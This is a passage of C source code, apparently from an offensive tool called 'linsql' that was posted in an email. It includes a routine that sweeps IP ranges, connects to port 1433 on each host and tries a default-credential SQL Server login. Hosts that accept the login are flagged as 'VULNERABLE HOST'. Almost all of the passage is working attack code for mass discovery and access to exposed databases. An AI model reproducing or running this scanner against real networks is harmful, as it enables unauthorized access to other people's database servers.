memset(commandBuf[numCommands],0,MAX_INPUT_LEN);
strcpy(commandBuf[numCommands], buffer);
numCommands++;
}
return 0;
}
/*
* custom keyboard handler to read a character or a special key (up,down...
whatever)
*/
int get_key()
{
int ch;
ch=fgetc(stdin);
if(ch==0x1b)
{
fgetc(stdin);
ch=fgetc(stdin);
switch(ch)
{
case 'A':
return UPKEY;
break;
case 'B':
return DOWNKEY;
break;
case 'C':
return RIGHTKEY;
break;
case 'D':
return LEFTKEY;
break;
default:
return 0;
}
}
else
if(ch==127)
return BACKSPACE;
else
return ch;
}
/*
* this routine is a bit messy because:
*
* (a) It's not commented in any way...
* (b) I needed to work around broken TDS libs which hang sometimes
* (c) lots of timeout parameters are needed
* (d) it's evolution, not design :)
*
* nevertheless, it works and will scan a list of IP's for vulnerable hosts
*/
void scan_hosts(char *iprange, int cTimeout, int pTimeout, char *givenName)
{
char ipToScan[16], currOctet[4][2][4]; // currOctet[octet][from/to][digit]
-- from=0 to=1
int octetRange[4][2]; // octect [1.2.3.4][from-to]
char *ptr, buf[3], processName[1024];
int o1,o2,o3,o4,fromTo,o,digit,mySock,childPID,i,reset_yet=0,originalTimeout,
status;
struct sockaddr_in addr;
FILE *fp;
ptr=iprange;
fromTo=digit=o=0;
originalTimeout=cTimeout;
givenName=(char *)realloc(givenName, 100);
while(*ptr!='\0'&&o<4)
{
fromTo=digit=0;
while(*ptr!='.'&&*ptr!='\0')
{
if(isdigit(*ptr))
currOctet[o][fromTo][digit++]=*(ptr++);
else if(isalpha(*ptr))
{
print_it("Hehe, IP addresses only... hostnames not supported for bulk
scanning :)\nPerhaps I'll do zone transfers later...\n");
exit(1);
}
else
{
if(*ptr=='-')
{
currOctet[o][fromTo][digit]='\0';
fromTo++;
digit=0;
ptr++;
}
else
{
print_it("Invalid char\n");
exit(1);
}
}
}
currOctet[o][fromTo][digit]='\0';
if(fromTo==0)
strcpy(currOctet[o][1], currOctet[o][0]);
o++;ptr++;digit=0;
}
for(o=0;o<4;o++)
for(fromTo=0;fromTo<2;fromTo++)
octetRange[o][fromTo]=atoi(currOctet[o][fromTo]);
for(o1=octetRange[0][0];o1<=octetRange[0][1];o1++)
for(o2=octetRange[1][0];o2<=octetRange[1][1];o2++)
for(o3=octetRange[2][0];o3<=octetRange[2][1];o3++)
for(o4=octetRange[3][0];o4<=octetRange[3][1];o4++)
{
sprintf(ipToScan,"%i.%i.%i.%i",o1,o2,o3,o4);
print_it("Scanning %s",ipToScan);fflush(stdout);
if((mySock=socket(AF_INET, SOCK_STREAM, 0))==-1)
{
print_it("Could not grab socket\n");
exit(1);
}
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=inet_addr(ipToScan);
addr.sin_port=htons(1433);
unlink(STATUS_FILE);
cTimeout=originalTimeout;
if((childPID=fork())==0)
{
strncpy(givenName, "linsql probe process.....",100);
if(!opt.test)
if(connect(mySock, (struct sockaddr *)&addr, sizeof(addr))==0)
{
if((fp=fopen(STATUS_FILE,"w"))==NULL)
{
print_it("\nFailed to create status file\n");
exit(1);
}
fwrite("OK",1,2,fp);
fclose(fp);
print_it("Target is listening, probing...");fflush(stdout);
if(probe_login(ipToScan))
{
fp=fopen(STATUS_FILE,"w");
print_it("VULNERABLE HOST");fflush(stdout);
fwrite("VU",1,2,fp);
fclose(fp);
}
exit(0);
}
else
{
if((fp=fopen(STATUS_FILE,"w"))==NULL)
{
print_it("\nFailed to create status file\n");
exit(1);
}
fwrite("Failed",1,2,fp);
fclose(fp);
}
exit(0);
}
else
{
if(!opt.test)
for(i=0;i<=cTimeout;i++)
{
if((fp=fopen(STATUS_FILE,"r"))==NULL)
sleep(1);
else
{
if(fgets(buf,3,fp)==buf)
{
if(strncmp(buf, "OK", 2)==0)
{
if(!reset_yet)
{
reset_yet=1;
cTimeout=pTimeout;
fclose(fp);
unlink(STATUS_FILE);
}
}
else
if(strncmp(buf, "VU",2)==0)
{
fclose(fp);
goto outOfHere;
}
else
fclose(fp);
}
if(!reset_yet)
break;
}
print_it(".");fflush(stdout);
}
outOfHere:
kill(childPID, SIGTERM); // kill the child process, leaving a zombie...
wait(&status); // ...then clean up the zombie
}
print_it("\n");
reset_yet=0;
close(mySock);
}
}
/*
* check to see if a login to the given IP would succeed
*/
int probe_login(char *ip)
{
strcpy(target.IP, ip);
set_target_defaults();
if((tds = tds_connect(login))!=NULL)
{
tds_free_socket(tds);
tds_free_login(login);
return 1;
}
else
{
tds_free_login(login);
return 0;
}
}
---------%< snip %<--------------------
--Hushpart_boundary_oAqQhcNIBNXAoxIKlAuqaYEDxzXCzJZU--
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